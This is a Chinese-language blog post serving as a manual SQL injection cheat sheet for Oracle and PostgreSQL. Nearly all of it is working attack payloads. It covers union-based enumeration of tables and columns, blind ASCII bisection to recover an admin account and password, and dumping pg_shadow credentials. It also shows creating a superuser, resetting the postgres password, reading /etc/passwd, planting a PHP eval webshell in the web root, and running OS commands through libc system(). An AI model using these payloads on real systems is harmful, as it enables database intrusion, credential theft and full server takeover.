title: SQL注入- Oracle&Postgresql注入漏洞
tags: SQL注入
abbrlink: 52c2c83e

date: 2022-07-29 12:19:13

oracle数据库介绍

Oracle数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的数据库管理系统。基于“客户端/服务器”模式结构,客户端应用程序与用户交互,接收用户信息,并向服务器发送请求,服务器系统负责管理数据信息和各种操作数据的活动。
特点

  1. 支持多用户、大事务量的处理
  2. 数据安全性和完整性的有效控制
  3. 支持分布式数据处理
  4. 移植性强

Oracle 手工注入

判断数据库

  • 判断注入

    and 1=1
    and 1=2
    
  • 判断oracle数据库

    and exists(select * from dual) 
    and exists(select * from user_tables)
    

    判断列数

    order by 11   返回正常
    order by 12    返回错误
    

    获取数据类型不匹配的列

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,null,null,null,null,null,null,null,null,null,null from dual
    

    获取数据类型不匹配的列

  • 在每列上逐个用数字代替 如果返回正常说明该列为数字类型,反之则为非数字类型。

  • 也可以逐个用引号引起来如:'null',null…from dual, 返回正常说明该列为字符类型,反之为非数字类型

获取基本信息

获取数据库版本

(select banner from sys.v_$version where rownum=1)

获取操作系统版本

( select member from v$logfile where rownum=1)

获取连接数据库的当前用户

( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual)

获取数据库

(select owner from all_tables where rownum=1)

获取数据库版本

http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取操作系统版本

http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select member from v$logfile where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取连接数据库的当前用户

http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual),null,null,null,null,null,null,null,null,null from dual

获取第一个表

http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取第二个表

http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'),null,null,null,null,null,null,null,null,null from dual

获取第三个表

http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'and table_name<>'ALERT_QT'),null,null,null,null,null,null,null,null,null from dual    

以此类推就可以得到所有的表名

获取第一个列名

  • 假设我们得到管理员表名为:admin
  • 获取第一个列名EMPLOYEE_ID
    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual
    

    获取第二个列名

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual
    
    得到表名为NAME

获取第三个列名

http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID' and rownum=1 and column_name<>'NAME'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

得到表名为PASS

获取数据库

union select 1,2,name,4,5,6 from admin
union select 1,2,pass,4,5,6 from admin

第二种注入方式

  • 判断下该网站下有几个管理员

  • 如果有多个的话,成功入侵的几率就会加大

    and (select count(*) from admin)=1,返回正常说明只有一个管理员。
    

    指定表名获取列名

    and (select count(name) from admin)>=0   返回正常,说明存在name字段
    

    获取列名

    and (select count(pass) from admin)>=0返回错误,说明不存在pass字段
    

    接下来采用ASCII码折半法猜解管理员帐号和密码

  • 判断管理员名字长度

    and (select count(*) from admin where length(name)>=5)=1
    
  • 说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较

and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
  • 说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a
    and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 
    
  • 结果为100,即字符d,重复上述过程,可以判断出帐号为admin

    相同的方法猜解密码

    and (select count(*) from admin where length(pwd)>=8)=1,
    
    返回正常,即密码长度为8,此时可以判断密码应该为明文
    and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,
    
    返回正常,为字符a
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d
and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8

完成上述操作可以确定帐号为:admin密码为:admin888

Postgresql 手工注入

postgresql介绍

PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是学术研究使用。

postgresql数据库注入常用语法

判断是否为postgresql数据库

+and+1::int=1--
http://mysql.sql.com/sql.php?id=1+and+1::int=1--

判断数据库版本信息

+and+1=cast(version() as int)--

判断当前用户

and 1=cast(user||123 as int)

判断有多少字段

order by 
union select null,null,null
union select null,user,null   判断当前用户

判断数据库版本信息

union select null,version(),null--

判断用户权限

union+select+null,current_schema(),null

判断当前数据库名称

union+select+null,current_database(),null

判断当前表名

union+select+null,relname,null from pg_stat_user_tables

读取每个表的列名

union+select+null,column_name,null+from+information_schema.columns+where+table_name='表名'

列字段内容

+union+select+null,name||pass,null+from+admin

查看postgresql数据库的账号密码

+union+select+null,usename||chr(124)||passwd,null+from+pg_shadow

创建用户

;create+user+seven+with+superuser+password+'seven'--

修改postgres的用户密码为123456

;alter+user+postgres+with+password+'123456'--

Postgresql 写shell

直接拿shell

http://127.0.0.1/sql.php?id=1;create table shell(shell text not null);
http://127.0.0.1/sql.php?id=1;insert into shell values($$<?php @eval($_POST[test]);?>$$); 
http://127.0.0.1/sql.php?id=1;copy shell(shell) to '/var/www/html/shell.php';

另一种方法:

;copy (select '$$<?php @eval($_POST[test]);?>$$') to 'c:/inetpub/wwwroot/mysql-sql/ddd.php'

读取文件前20行

pg_read_file('/etc/passwd',1,20)

创建system函数

  • 用于版本大于8的数据库
    创建一个system的函数:
    create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
    
    创建一个输出表:
    create table stdout(id serial, system_out text)
    
    执行shell,输出到输出表内:
    select system('uname -a > /tmp/test')
    copy 输出的内容到表里面;
    COPY stdout(system_out) FROM '/tmp/test'
    
    从输出表内读取执行后的回显,判断是否执行成功
    union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1–-
    

    数据库备份还原

备份数据库

pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\mdb.sql”
pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql 这个是远程备份数据库备份到本地来

还原数据库

psql -h localhost -U postgres -d mdb 

判断注入

‘  报错
and 1=1 返回正常
and 1=2 返回错误

获取信息

and 1=cast(version() as int)  获取数据库版本信息系统信息
and 1=cast(user||123 as int)  获取当前用户名称  postgres用户相当于root用户权限

创建表

;create table ccc(w text not null);  创建表x

插入一句话木马

;insert into ccc values($$<?php @eval($_POST[test]);?>$$);  向x表中插入一句话木马

导出一句话

;copy ccc(w) to $$/home/kasugai_tochi/public_html/script/test.php$$;  将一句话木马保存为test.php文件